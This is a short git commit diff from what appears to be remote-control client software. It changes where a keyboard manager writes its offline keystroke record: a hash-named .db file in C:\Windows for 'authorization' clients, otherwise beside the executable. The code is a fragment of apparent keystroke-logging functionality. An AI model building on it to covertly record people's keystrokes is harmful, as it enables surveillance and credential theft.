Fix: Authorization client use different keyboard log directory

This commit is contained in:
yuanyuanxiang committed 2026-06-20 12:38:28 +02:00
1 parent 5b37df26fd
commit 71963b740b
5 files changed
+7 -6

No files matched your search

+1 -3
View File
@@ -52,10 +52,8 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
clip::set_error_handler(NULL);
#endif
m_bIsOfflineRecord = offline;
CKernelManager* main = (CKernelManager*)pClient->GetMain();
BOOL isAuth = main ? main->IsAuthKernel() : FALSE;
char path[MAX_PATH] = { "C:\\Windows\\" };
if (!isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
if (!pClient->m_isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
std::string fileName = GetExeHashStr() + ".db";
GET_FILEPATH(path, fileName.c_str());
strcpy_s(m_strRecordFile, path);